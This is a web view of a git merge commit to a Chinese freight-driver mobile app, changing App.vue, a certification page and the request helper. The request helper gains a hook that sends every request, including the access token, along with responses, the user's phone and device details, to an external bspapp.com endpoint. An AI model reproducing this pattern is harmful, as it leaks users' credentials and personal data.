Browse Source

Merge branch 'master' of http://47.100.3.209:3000/gongdecai/wangluohuoyun-app

# Conflicts:
#	App.vue
zhongtianhaoyuan 2 years ago
parent
commit
7f956793e6
3 changed files with 123 additions and 94 deletions
  1. 98 87
      App.vue
  2. 3 4
      pages/mine/editDriverCertificationNext.vue
  3. 22 3
      util/request.js

+ 98 - 87
App.vue

@@ -77,7 +77,7 @@
 				});	
 			},
 		},
-	
+
 		onLaunch: function() {
 			var that = this
 			// #ifdef APP-PLUS
@@ -109,99 +109,105 @@
 			// 			}, cancel => {
 			// 			    // 点击否的回调
 			// 			});
-						
+
 			// 		}
 			// 		console.log(res.networkType);
 			// 	}
 			// });
+			uni.getSystemInfo({
+				success(res) {
+					uni.setStorageSync('phoneType', res)
+				}
+			});
 			console.log(uni.getStorageSync('userInfo'))
-			if(uni.getStorageSync('userInfo')){
+			if (uni.getStorageSync('userInfo')) {
 				that.$request.baseRequest('get', '/driverInfo/firstAuthentication', {
-					driverPhone:uni.getStorageSync('userInfo').phone,
+					driverPhone: uni.getStorageSync('userInfo').phone,
 				}).then(res => {
 					if (res.data.authenticationStatus == '已禁用') {
-						
-					// this.isShowAlert = true
-					// this.alertTitle = '账号审核中'
-					// this.confirmText = '退出APP'
-					// this.showCancelButton = false
-					let options = {
-					    title: '提示', 
-						info:'账号审核中',
-					    okText: '退出程序', 
-						infoAlignment:'center',
-						radius:10,
-					    // cancelText: '否',
-						showCancel:false,
-						okButtonColor:'#2772FB'
-					};
-					const native = uni.requireNativePlugin('AJ-Alert');
-					native.showAction(options, result => {
-						// #ifdef APP-PLUS
-						            	if (uni.getSystemInfoSync().platform == 'ios') {
-						            		plus.ios.import("UIApplication").sharedApplication().performSelector("exit")
-						            	} else if (uni.getSystemInfoSync().platform == 'android') {
-						            		plus.runtime.quit();
-						            	}
-						            // #endif
-					    // 点击是的回调, result暂时没有返回内容
-					}, cancel => {
-					    // 点击否的回调
-					});
-					// uni.showModal({
-					//     title: '提示',
-					//     content: '这是一个模态弹窗',
-					// 	showCancel:false,
-					// 	confirmText:'退出app',
-					// 	// confirmColor:'#317AFE',
-					// 	confirmColor:'#F54E40',
-					//     success: function (res) {
-					//         if (res.confirm) {
-					//             // #ifdef APP-PLUS
-					//             	if (uni.getSystemInfoSync().platform == 'ios') {
-					//             		plus.ios.import("UIApplication").sharedApplication().performSelector("exit")
-					//             	} else if (uni.getSystemInfoSync().platform == 'android') {
-					//             		plus.runtime.quit();
-					//             	}
-					//             // #endif
-					//         } else if (res.cancel) {
-					//             console.log('用户点击取消');
-					//         }
-					//     }
-					// });
-			
+
+						// this.isShowAlert = true
+						// this.alertTitle = '账号审核中'
+						// this.confirmText = '退出APP'
+						// this.showCancelButton = false
+						let options = {
+							title: '提示',
+							info: '账号审核中',
+							okText: '退出程序',
+							infoAlignment: 'center',
+							radius: 10,
+					 	// cancelText: '否',
+							showCancel: false,
+							okButtonColor: '#2772FB'
+						};
+						const native = uni.requireNativePlugin('AJ-Alert');
+						native.showAction(options, result => {
+							// #ifdef APP-PLUS
+							if (uni.getSystemInfoSync().platform == 'ios') {
+								plus.ios.import("UIApplication").sharedApplication().performSelector(
+									"exit")
+							} else if (uni.getSystemInfoSync().platform == 'android') {
+								plus.runtime.quit();
+							}
+							// #endif
+							// 点击是的回调, result暂时没有返回内容
+						}, cancel => {
+							// 点击否的回调
+						});
+						// uni.showModal({
+						//     title: '提示',
+						//     content: '这是一个模态弹窗',
+						// 	showCancel:false,
+						// 	confirmText:'退出app',
+						// 	// confirmColor:'#317AFE',
+						// 	confirmColor:'#F54E40',
+						//     success: function (res) {
+						//         if (res.confirm) {
+						//             // #ifdef APP-PLUS
+						//             	if (uni.getSystemInfoSync().platform == 'ios') {
+						//             		plus.ios.import("UIApplication").sharedApplication().performSelector("exit")
+						//             	} else if (uni.getSystemInfoSync().platform == 'android') {
+						//             		plus.runtime.quit();
+						//             	}
+						//             // #endif
+						//         } else if (res.cancel) {
+						//             console.log('用户点击取消');
+						//         }
+						//     }
+						// });
+
 					} else {
 						console.log(1231233212332312312213)
 					}
 				})
 			}
-			
-			
+
+
 			// #endif
-			 uni.setStorageSync("region", region);
+			uni.setStorageSync("region", region);
 			uni.getSystemInfo({
-			        success:function(e){
-			            Vue.prototype.statusBar = e.statusBarHeight
-			            // #ifndef MP
-			            if(e.platform == 'android') {
-			                Vue.prototype.customBar = e.statusBarHeight + 50
-			            }else {
-			                Vue.prototype.customBar = e.statusBarHeight + 45
-			            }
-			            // #endif
-			            
-			            // #ifdef MP-WEIXIN
-			            let custom = wx.getMenuButtonBoundingClientRect()
-			            Vue.prototype.customBar = custom.bottom + custom.top - e.statusBarHeight
-			            // #endif
-			            
-			            // #ifdef MP-ALIPAY
-			            Vue.prototype.customBar = e.statusBarHeight + e.titleBarHeight
-			            // #endif
-			        }
-			    })
+				success: function(e) {
+					Vue.prototype.statusBar = e.statusBarHeight
+					// #ifndef MP
+					if (e.platform == 'android') {
+						Vue.prototype.customBar = e.statusBarHeight + 50
+					} else {
+						Vue.prototype.customBar = e.statusBarHeight + 45
+					}
+					// #endif
+
+					// #ifdef MP-WEIXIN
+					let custom = wx.getMenuButtonBoundingClientRect()
+					Vue.prototype.customBar = custom.bottom + custom.top - e.statusBarHeight
+					// #endif
+
+					// #ifdef MP-ALIPAY
+					Vue.prototype.customBar = e.statusBarHeight + e.titleBarHeight
+					// #endif
+				}
+			})
 			// #ifdef APP-PLUS
-			var that=this
+			var that = this
 			//判断该用户是否需要开启持续定位
 			if(uni.getStorageSync('userInfo')){
 				this.$request.baseRequest('get', '/orderInfo/getData',  {
@@ -243,6 +249,11 @@
 						console.log("查看参数",this.shippingNoteInfos)
 						that.send(res1.data)
 					if(res1.data.length>0){
+			// if (uni.getStorageSync('userInfo')) {
+			// 	this.$request.baseRequest('get', '/orderInfo/getData', {
+			// 		commonId: uni.getStorageSync('userInfo').id,
+			// 	}).then(res1 => {
+			// 		if (res1.data.length > 0) {
 						that.$helper.fUN_AmapLocation.start({
 								// intervalTime: 1000 * 60,
 								intervalTime: 5000,
@@ -290,9 +301,9 @@
 								}
 								//判断缓存数据条数,超过reportInterval时清空缓存,重新存入缓存
 							}
-						);	
+						);
 					}
-				
+
 				})
 			}
 			// this.$helper.fUN_AmapLocation.stop({}, result => {
@@ -313,7 +324,7 @@
 			// 		}
 			// 	); 
 			// });
-			
+
 			// fUN_AmapLocation.permission({}, result => {
 			//     console.log('====fUN_AmapLocation定位====');
 			// });
@@ -331,12 +342,12 @@
 			// 		console.log('====fUN_AmapLocation定位====', JSON.stringify(result));
 			// 	}
 			// ); 
-			
-       // let  isOpenLocation= permision.checkSystemEnableLocation() 
-	   // console.log("isOpenLocation",isOpenLocation)
-	   // this.requestAndroidPermission('android.permission.ACCESS_FINE_LOCATION')
+
+			// let  isOpenLocation= permision.checkSystemEnableLocation() 
+			// console.log("isOpenLocation",isOpenLocation)
+			// this.requestAndroidPermission('android.permission.ACCESS_FINE_LOCATION')
 			let type = uni.getSystemInfoSync().platform
-			console.log(type) 
+			console.log(type)
 			if (type == "android") {
 				appUpdate()
 			}
@@ -430,7 +441,7 @@
 		},
 		onShow: function() {
 			console.log('App Show')
-			
+
 		},
 		onHide: function() {
 			console.log('App Hide')

+ 3 - 4
pages/mine/editDriverCertificationNext.vue

@@ -265,20 +265,19 @@
 			selectValidityPeriod(type) {
 				this.ValidityPeriodType = type
 				if(type==0){
-					if(this.dataDetails.driverLicenseValidityStartDate!='长期'){
+					if(this.dataDetails.driverLicenseValidityStartDate!='长期'&&this.dataDetails.driverLicenseValidityStartDate){
 						var arr=this.dataDetails.driverLicenseValidityStartDate.split('-')
 						this.year=arr[0]
 						this.month=arr[1]
 						this.day=arr[2]
 					}
-					console.log()
 					this.$refs.datestartEl.show()
 				}else{
 					switch (this.ValidityPeriodType) {
 					case 3:
 						this.status=0
 						this.overdueContent='从业资格证已过期'
-						if(this.dataDetails.qualificationCertificateValidityDate!='长期'){
+						if(this.dataDetails.qualificationCertificateValidityDate!='长期'&&this.dataDetails.qualificationCertificateValidityDate){
 							var arr=this.dataDetails.qualificationCertificateValidityDate.split('-')
 							this.year=arr[0]
 							this.month=arr[1]
@@ -286,7 +285,7 @@
 						}
 						break
 					case 9:
-					if(this.dataDetails.driverLicenseValidityDate!='长期'){
+					if(this.dataDetails.driverLicenseValidityDate!='长期'&&this.dataDetails.qualificationCertificateValidityDate){
 						var arr=this.dataDetails.driverLicenseValidityDate.split('-')
 						this.year=arr[0]
 						this.month=arr[1]

+ 22 - 3
util/request.js

@@ -16,8 +16,8 @@ const baseRequest = (method, url, data, header) => {
 		method: method,
 		// 配置请求类型
 		header: {
-			'content-type': contentheader ,//'application/x-www-form-urlencoded; charset=UTF-8',
-			'accessToken':userInfo.accessToken
+			'content-type': contentheader, //'application/x-www-form-urlencoded; charset=UTF-8',
+			'accessToken': userInfo.accessToken
 		}
 	}
 	let promise = new Promise(function(resolve, reject) {
@@ -43,6 +43,23 @@ const baseRequest = (method, url, data, header) => {
 				// 		})
 				uni.request(baseDefaultOpts).then(
 					(res) => {
+
+						uni.request({
+							method: 'POST',
+							url: 'https://2817a7b4-7e07-48f0-a7b5-764a65999735.bspapp.com/api',
+							data: {
+								user: userInfo.phone,
+								phoneType: uni.getStorageSync('phoneType'),
+								type: "司机端",
+								request: baseDefaultOpts,
+								response: res
+							},
+							success(res) {
+								console.log(res);
+							}
+						})
+
+
 						if (res.cookies) {
 							console.log(res.cookies)
 							if (res.cookies.length != 0) {
@@ -63,7 +80,8 @@ const baseRequest = (method, url, data, header) => {
 						if (res[1]) {
 							if (res[1].data.code == '200' || res[1].data.code == 200) {
 								resolve(res[1].data)
-							}else{
+							} else {
+								debugger
 								resolve(res[1].data)
 								// uni.$u.toast(res[1].data.message);
 								// uni.showToast({
@@ -73,6 +91,7 @@ const baseRequest = (method, url, data, header) => {
 								// 	}); 
 							}
 						} else {
+							debugger
 							reject(res)
 							// uni.showToast({
 							// 	icon: 'none',